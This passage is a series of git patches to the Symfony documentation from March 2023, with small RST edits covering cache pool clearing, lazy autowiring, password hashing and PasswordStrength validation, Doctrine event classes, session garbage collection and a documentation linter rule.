 components/clock.rst                   | 4 ----
 controller/value_resolver.rst          | 3 ---
 security/access_token.rst              | 3 ---
 serializer/custom_context_builders.rst | 3 ---
 session.rst                            | 3 ---
 5 files changed, 16 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 2528551d1c5..9202a399638 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Clock
-   single: Components; Clock
-
 The Clock Component
 ===================
 
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index fa71918cd7d..b2d93b13148 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; Argument Value Resolvers
-
 Extending Action Argument Resolving
 ===================================
 
diff --git a/security/access_token.rst b/security/access_token.rst
index d5d607dbcb0..d2b2ab4f6a0 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Access Token
-
 How to use Access Token Authentication
 ======================================
 
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 720e319916e..77116333384 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer; Custom context builders
-
 How to Create your Custom Context Builder
 =========================================
 
diff --git a/session.rst b/session.rst
index 1512b7f3142..2d0df3cad55 100644
--- a/session.rst
+++ b/session.rst
@@ -1251,9 +1251,6 @@ has to return an integer which will be used as TTL.
             // Inject whatever dependencies you need to be able to resolve a TTL for the current session
             ->args([service('security')]);
 
-.. index::
-    single: Sessions, saving locale
-
 .. _locale-sticky-session:
 
 Making the Locale "Sticky" during a User's Session

From 2e6e58ceff8d405ed46b7593a254a79cf6e2f31a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:13:53 +0200
Subject: [PATCH 3146/5766] [Workflow] Fix a RST syntax issue related to a code
 example

---
 components/workflow.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/workflow.rst b/components/workflow.rst
index b8f683eb933..4ef8d4592c6 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -57,6 +57,8 @@ logic in one place and not spread all over your application.
 Usage
 -----
 
+Here's an example of using the workflow defined above::
+
     // ...
     // Consider that $blogPost is in place "draft" by default
     $blogPost = new BlogPost();

From bb7796d3c446f9fbccc238d3f2d2785513668958 Mon Sep 17 00:00:00 2001
From: Bob van de Vijver <bobvandevijver@hotmail.com>
Date: Fri, 17 Mar 2023 15:56:47 +0100
Subject: [PATCH 3147/5766] [Cache] Add documentation for new `--all` option
 for `cache:pool:clear`

---
 cache.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/cache.rst b/cache.rst
index a82bc64cd04..264c584c75a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -725,6 +725,15 @@ Clear all custom pools:
 
     $ php bin/console cache:pool:clear cache.app_clearer
 
+Clear all cache pools:
+    .. code-block:: terminal
+
+        $ php bin/console cache:pool:clear --all
+
+.. versionadded:: 6.3
+
+    The `--all` option was introduced in Symfony 6.3.
+
 Clear all caches everywhere:
 
 .. code-block:: terminal

From 8e5736c266199e72a211297af888f778afd0dbed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:32:04 +0200
Subject: [PATCH 3148/5766] Minor fixes

---
 cache.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/cache.rst b/cache.rst
index f90c5afecb4..0e12ff5900c 100644
--- a/cache.rst
+++ b/cache.rst
@@ -723,13 +723,14 @@ Clear all custom pools:
     $ php bin/console cache:pool:clear cache.app_clearer
 
 Clear all cache pools:
-    .. code-block:: terminal
 
-        $ php bin/console cache:pool:clear --all
+.. code-block:: terminal
+
+    $ php bin/console cache:pool:clear --all
 
 .. versionadded:: 6.3
 
-    The `--all` option was introduced in Symfony 6.3.
+    The ``--all`` option was introduced in Symfony 6.3.
 
 Clear all caches everywhere:
 

From 527c24a1dc52dbce23438af2c96342566bc1abd7 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 20 Mar 2023 22:45:19 +0100
Subject: [PATCH 3149/5766] [DependencyInjection] Add support for
 `#[Autowire(lazy: true)]`

---
 service_container/lazy_services.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index e69a52bd3dd..736cc44761b 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -106,6 +106,29 @@ For example, to define your service as lazy use the following::
         // ...
     }
 
+You can also configure laziness when your service is injected with 
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` attribute.
+For example, to inject your service as lazy use the following::
+
+    namespace App\Service;
+
+    use App\Twig\AppExtension;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire(service: 'app.twig.app_extension', lazy: true)] ExtensionInterface $extension
+        ) {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The ``lazy`` argument of the `#[Autowire()]` attribute was introduced in
+    Symfony 6.3.
+
 Interface Proxifying
 --------------------
 

From ae63bfec04172a21a8a7596c15bcfa3ca6460b65 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:53:26 +0200
Subject: [PATCH 3150/5766] Minor tweaks

---
 service_container/lazy_services.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 53ebed674d3..ac859958f19 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -103,9 +103,8 @@ For example, to define your service as lazy use the following::
         // ...
     }
 
-You can also configure laziness when your service is injected with 
-:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` attribute.
-For example, to inject your service as lazy use the following::
+You can also configure laziness when your service is injected with the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` attribute::
 
     namespace App\Service;
 
@@ -123,7 +122,7 @@ For example, to inject your service as lazy use the following::
 
 .. versionadded:: 6.3
 
-    The ``lazy`` argument of the `#[Autowire()]` attribute was introduced in
+    The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in
     Symfony 6.3.
 
 Interface Proxifying

From 1d32ad27ac30628c971789de98519e18bbb465a0 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 29 Mar 2023 11:15:37 +0200
Subject: [PATCH 3151/5766] update framework configuration reference for cache

---
 reference/configuration/framework.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 385d006c8f2..f9820ab4b31 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2949,7 +2949,18 @@ app
 The cache adapter used by the ``cache.app`` service. The FrameworkBundle
 ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``,
 ``cache.adapter.system``, ``cache.adapter.filesystem``, ``cache.adapter.psr6``,
-``cache.adapter.redis``, ``cache.adapter.memcached`` and ``cache.adapter.pdo``.
+``cache.adapter.redis``, ``cache.adapter.memcached``, ``cache.adapter.pdo``,
+``cache.adapter.doctrine_dbal``.
+
+.. versionadded:: 5.4
+
+    ``cache.adapter.doctrine_dbal`` has been introduced in Symfony 5.4.
+
+.. deprecated:: 5.4
+
+    Using ``cache.adapter.doctrine`` has been deprecated in favor of Symfony
+    Cache or PSR-6 adapters provided by Doctrine Cache and will be removed in
+    6.0.
 
 There's also a special adapter called ``cache.adapter.array`` which stores
 contents in memory using a PHP array and it's used to disable caching (mostly on

From 754fc823871ec8a838cb3ecbeb184148ef9503a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 13:04:58 +0200
Subject: [PATCH 3152/5766] Minor tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f9820ab4b31..66ba3793412 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2954,7 +2954,7 @@ ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``
 
 .. versionadded:: 5.4
 
-    ``cache.adapter.doctrine_dbal`` has been introduced in Symfony 5.4.
+    ``cache.adapter.doctrine_dbal`` was introduced in Symfony 5.4.
 
 .. deprecated:: 5.4
 

From 38e25516c425401f3215f9bafa3f270a6f2bfeae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 13:05:38 +0200
Subject: [PATCH 3153/5766] Remove the unneeded versionadded directives

---
 reference/configuration/framework.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6d167e04dc2..a927e2a3f8a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2882,16 +2882,6 @@ ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``
 ``cache.adapter.redis``, ``cache.adapter.memcached``, ``cache.adapter.pdo``,
 ``cache.adapter.doctrine_dbal``.
 
-.. versionadded:: 5.4
-
-    ``cache.adapter.doctrine_dbal`` was introduced in Symfony 5.4.
-
-.. deprecated:: 5.4
-
-    Using ``cache.adapter.doctrine`` has been deprecated in favor of Symfony
-    Cache or PSR-6 adapters provided by Doctrine Cache and will be removed in
-    6.0.
-
 There's also a special adapter called ``cache.adapter.array`` which stores
 contents in memory using a PHP array and it's used to disable caching (mostly on
 the ``dev`` environment).

From f3d727ca9afb005690dd9530a03d269aca58f53e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 29 Mar 2023 11:09:34 +0200
Subject: [PATCH 3154/5766] =?UTF-8?q?[FrameworkBundle]=20=C2=A0Update=20fr?=
 =?UTF-8?q?amework=20cache=20reference?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a927e2a3f8a..c2ef4498e55 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2877,9 +2877,9 @@ app
 **type**: ``string`` **default**: ``cache.adapter.filesystem``
 
 The cache adapter used by the ``cache.app`` service. The FrameworkBundle
-ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``,
-``cache.adapter.system``, ``cache.adapter.filesystem``, ``cache.adapter.psr6``,
-``cache.adapter.redis``, ``cache.adapter.memcached``, ``cache.adapter.pdo``,
+ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.system``,
+``cache.adapter.filesystem``, ``cache.adapter.psr6``, ``cache.adapter.redis``,
+``cache.adapter.memcached``, ``cache.adapter.pdo`` and
 ``cache.adapter.doctrine_dbal``.
 
 There's also a special adapter called ``cache.adapter.array`` which stores

From d72bf8ae070b2f59722abba41c62e2192b04f4cb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Mar 2023 13:45:18 +0200
Subject: [PATCH 3155/5766] [PasswordHasher] Mention standalone use of
 PasswordHasherFactory

---
 security/passwords.rst | 28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index cdb4d09102e..c12d51f520d 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -134,7 +134,7 @@ Further in this article, you can find a
     .. configuration-block::
 
         .. code-block:: yaml
-        
+
             # config/packages/test/security.yaml
             security:
                 # ...
@@ -697,6 +697,32 @@ you must register a service for it in order to use it as a named hasher:
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
 
+Hashing a Stand-Alone String
+----------------------------
+
+The password hasher can be used to hash strings independently
+of users. By using the
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`,
+you can declare multiple hashers, retrieve any of them with
+its name and create hashes. You can then verify that a string matches the given
+hash::
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+    // configure different hashers via the factory
+    $factory = new PasswordHasherFactory([
+        'common' => ['algorithm' => 'bcrypt'],
+        'sodium' => ['algorithm' => 'sodium'],
+    ]);
+
+    // retrieve the hasher using bcrypt
+    $hasher = $factory->getPasswordHasher('common');
+    $hash = $hasher->hash('plain');
+
+    // verify that a given string matches the hash calculated above
+    $hasher->verify($hash, 'invalid'); // false
+    $hasher->verify($hash, 'plain'); // true
+
 .. _passwordhasher-supported-algorithms:
 
 Supported Algorithms

From c6a4e45ae78bc1821a0ec22adc2c32682812203d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 30 Mar 2023 09:57:45 +0200
Subject: [PATCH 3156/5766] [Standards] Remove additional comma

---
 contributing/code/standards.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 56f2a439473..7313760543e 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,9 +179,14 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
-* Exception and error messages must not contain backticks (e.g. 'The \`foo\` option ...'),
+* Exception and error messages must not contain backticks,
   even when referring to a technical element (such as a method or variable name).
-  Double quotes must be used at all time (e.g. 'The "foo" option ...'),;
+  Double quotes must be used at all time:
+
+  .. code-block:: diff
+
+    - Expected `foo` option to be one of ...
+    + Expected "foo" option to be one of ...
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 

From 6d67836896d04b071c78c60b98ea78a92662eb97 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Despont?= <sebastien.despont@gmail.com>
Date: Thu, 30 Mar 2023 11:17:34 +0200
Subject: [PATCH 3157/5766] Replace deprecated
 Doctrine\ORM\Event\LifecycleEventArgs by dedicated events

Replace deprecated Doctrine\ORM\Event\LifecycleEventArgs by dedicated events :
- Doctrine\ORM\Event\PostPersistEventArgs;
- Doctrine\ORM\Event\PostRemoveEventArgs;
- Doctrine\ORM\Event\PostUpdateEventArgs;
---
 doctrine/events.rst | 26 ++++++++++++++------------
 1 file changed, 14 insertions(+), 12 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 619e59405fa..21b2e4f8d23 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -119,13 +119,13 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
 
     class SearchIndexer
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -167,12 +167,12 @@ listener in the Symfony application by creating a new service for it and
         namespace App\EventListener;
 
         use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\LifecycleEventArgs;
+        use Doctrine\ORM\Event\PostPersistEventArgs;
 
         #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
         class SearchIndexer
         {
-            public function postPersist(LifecycleEventArgs $event): void
+            public function postPersist(PostPersistEventArgs $event): void
             {
                 // ...
             }
@@ -277,13 +277,13 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\User;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
 
     class UserChangedNotifier
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event): void
+        public function postUpdate(User $user, PostUpdateEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -420,7 +420,9 @@ want to log all the database activity. To do so, define a subscriber for the
     use App\Entity\Product;
     use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Events;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
+    use Doctrine\ORM\Event\PostRemoveEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
 
     class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
@@ -436,24 +438,24 @@ want to log all the database activity. To do so, define a subscriber for the
         }
 
         // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type LifecycleEventArgs, which gives you access
+        // they receive an argument of type PostPersistEventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
             $this->logActivity('persist', $args);
         }
 
-        public function postRemove(LifecycleEventArgs $args): void
+        public function postRemove(PostRemoveEventArgs $args): void
         {
             $this->logActivity('remove', $args);
         }
 
-        public function postUpdate(LifecycleEventArgs $args): void
+        public function postUpdate(PostUpdateEventArgs $args): void
         {
             $this->logActivity('update', $args);
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args): void
+        private function logActivity(string $action, PostUpdateEventArgs|PostRemoveEventArgs|PostPersistEventArgs $args): void
         {
             $entity = $args->getObject();
 

From 566aa26cb2071c5b7fa79d4883f0506c9a4a6116 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 30 Mar 2023 14:02:33 +0200
Subject: [PATCH 3158/5766] [HttpClient] Add `ServerSentEvent::getArrayData()`
 to get the SSE's data decoded as an array directly

---
 http_client.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3161bd23b6a..067a52291cb 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1425,6 +1425,16 @@ to wrap your HTTP client, open a connection to a server that responds with a
         }
     }
 
+.. tip::
+
+    If you know that the content of the ``ServerSentEvent`` is in the JSON format, you can
+    use the :method:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent::getArrayData`
+    method to directly get the decoded JSON in an array.
+
+.. versionadded:: 6.3
+
+    The ``ServerSentEvent::getArrayData()`` method was introduced in Symfony 6.3.
+
 Interoperability
 ----------------
 

From e556fb3c765c26e60edc7e1aef382a15e8f582b9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 30 Mar 2023 14:47:46 +0200
Subject: [PATCH 3159/5766] Minor

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 067a52291cb..4001eb081d1 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1429,7 +1429,7 @@ to wrap your HTTP client, open a connection to a server that responds with a
 
     If you know that the content of the ``ServerSentEvent`` is in the JSON format, you can
     use the :method:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent::getArrayData`
-    method to directly get the decoded JSON in an array.
+    method to directly get the decoded JSON as array.
 
 .. versionadded:: 6.3
 

From ec51dd2fa313eee56d302d8abc8aa0bd668417ea Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sat, 25 Mar 2023 21:58:26 +0100
Subject: [PATCH 3160/5766] PasswordStrength Documentation pages

---
 reference/configuration/framework.rst      |   8 ++
 reference/constraints.rst                  |   1 +
 reference/constraints/Compound.rst         |   1 +
 reference/constraints/PasswordStrength.rst | 126 +++++++++++++++++++++
 reference/constraints/map.rst.inc          |   1 +
 5 files changed, 137 insertions(+)
 create mode 100644 reference/constraints/PasswordStrength.rst

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b7170e37a0d..624bdc8658b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2587,6 +2587,14 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
+.. _reference-validation-password-strength:
+
+password_strength
+.................
+
+The :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
+constraint verifies the submitted string entropy is matching the minimum entropy score.
+
 .. _reference-validation-email_validation_mode:
 
 email_validation_mode
diff --git a/reference/constraints.rst b/reference/constraints.rst
index 67544bc45c3..d676e006f42 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -75,6 +75,7 @@ Validation Constraints Reference
    constraints/All
    constraints/UserPassword
    constraints/NotCompromisedPassword
+   constraints/PasswordStrength
    constraints/Valid
    constraints/Traverse
    constraints/CssColor
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 695ae4f00ec..05109c4a184 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -37,6 +37,7 @@ you can create your own named set or requirements to be reused consistently ever
                     new Assert\Type('string'),
                     new Assert\Length(['min' => 12]),
                     new Assert\NotCompromisedPassword(),
+                    new Assert\PasswordStrength(['minScore' => 4]),
                 ];
             }
         }
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
new file mode 100644
index 00000000000..2625cbc0f40
--- /dev/null
+++ b/reference/constraints/PasswordStrength.rst
@@ -0,0 +1,126 @@
+PasswordStrength
+================
+
+Validates that the given password has reached the minimum strength required by
+the constraint.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrength`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraint ensures that the ``rawPassword`` property of the
+``User`` class reaches the minimum strength required by the constraint.
+By default, the minimum required score is 2.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\PasswordStrength]
+            protected $rawPassword;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            properties:
+                rawPassword:
+                    - PasswordStrength
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <property name="rawPassword">
+                    <constraint name="PasswordStrength"></constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('rawPassword', new Assert\PasswordStrength());
+            }
+        }
+
+Available Options
+-----------------
+
+``minScore``
+~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``PasswordStrength::STRENGTH_REASONABLE`` (``2``)
+
+The minimum required strength of the password. Available constants are:
+* ``PasswordStrength::STRENGTH_WEAK`` = ``1``
+* ``PasswordStrength::STRENGTH_REASONABLE`` = ``2``
+* ``PasswordStrength::STRENGTH_STRONG`` = ``3``
+* ``PasswordStrength::STRENGTH_VERY_STRONG`` = ``4``
+
+``PasswordStrength::STRENGTH_VERY_WEAK`` is available but only used internally
+or by a custom password strength estimator.
+
+.. code-block:: php-attributes
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    class User
+    {
+        #[Assert\PasswordStrength([
+            'minScore' => PasswordStrength::STRENGTH_VERY_STRONG, // Very strong password required
+        ])]
+        protected $rawPassword;
+    }
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The password strength is too low. Please use a stronger password.``
+
+The default message supplied when the password does not reach the minimum required score.
+
+.. code-block:: php-attributes
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    class User
+    {
+        #[Assert\PasswordStrength([
+            'message' => 'Le mot de passe est trop faible. Veuillez utiliser un mot de passe plus fort.'
+        ])]
+        protected $rawPassword;
+    }
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 1c16d47f81d..8689c88d9f0 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -28,6 +28,7 @@ String Constraints
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 

From 9c1355053fca69de387fe880712b3341e7f6a573 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 30 Mar 2023 20:01:51 +0200
Subject: [PATCH 3161/5766] Adding section "Configuring Garbage Collection"

I just copied this over from https://symfony.com/doc/3.4/components/http_foundation/session_configuration.html#configuring-garbage-collection
cause the info about `null` isn't mentioned anywhere else.
---
 session.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/session.rst b/session.rst
index 5adf9c8aeb0..4dcff3432d0 100644
--- a/session.rst
+++ b/session.rst
@@ -446,6 +446,39 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
+Configuring Garbage Collection
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a session opens, PHP will call the ``gc`` handler randomly according to the
+probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
+example if these were set to ``5/100`` respectively, it would mean a probability
+of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+
+If the garbage collection handler is invoked, PHP will pass the value stored in
+the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
+that any stored session that was saved more than ``gc_maxlifetime`` ago should be
+deleted. This allows one to expire records based on idle time.
+
+However, some operating systems (e.g. Debian) do their own session handling and set
+the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+collection. That's why Symfony now overwrites this value to ``1``.
+
+If you wish to use the original value set in your ``php.ini``, add the following
+configuration:
+
+.. code-block:: yaml
+
+    # config.yml
+    framework:
+        session:
+            gc_probability: null
+
+You can configure these settings by passing ``gc_probability``, ``gc_divisor``
+and ``gc_maxlifetime`` in an array to the constructor of
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
+or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
+method.
+
 .. _session-database:
 
 Store Sessions in a Database

From 5f0a2e8392a297eb2f69b60c7d50842866a31f17 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 30 Mar 2023 19:29:14 +0200
Subject: [PATCH 3162/5766] Use Doctor RST 1.42.1 and new Rule
 `ForbiddenDirectives`

---
 .doctor-rst.yaml          | 3 +++
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3bca2485231..8a15e17fbb9 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -18,6 +18,9 @@ rules:
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~
+    forbidden_directives:
+        directives:
+            - '.. index::'
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a240982650a..91e5d0212a6 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.41.3
+                uses: docker://oskarstark/doctor-rst:1.42.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From bc7916737d5bde7a1dcdc4429350b3de28127ca5 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Fri, 31 Mar 2023 11:51:24 +0200
Subject: [PATCH 3163/5766] [Process] :memo: process: `create_new_console` is
 only for windows

---
 components/process.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index 12ee096df4e..a0a312512bc 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -113,6 +113,11 @@ You can configure the options passed to the ``other_options`` argument of
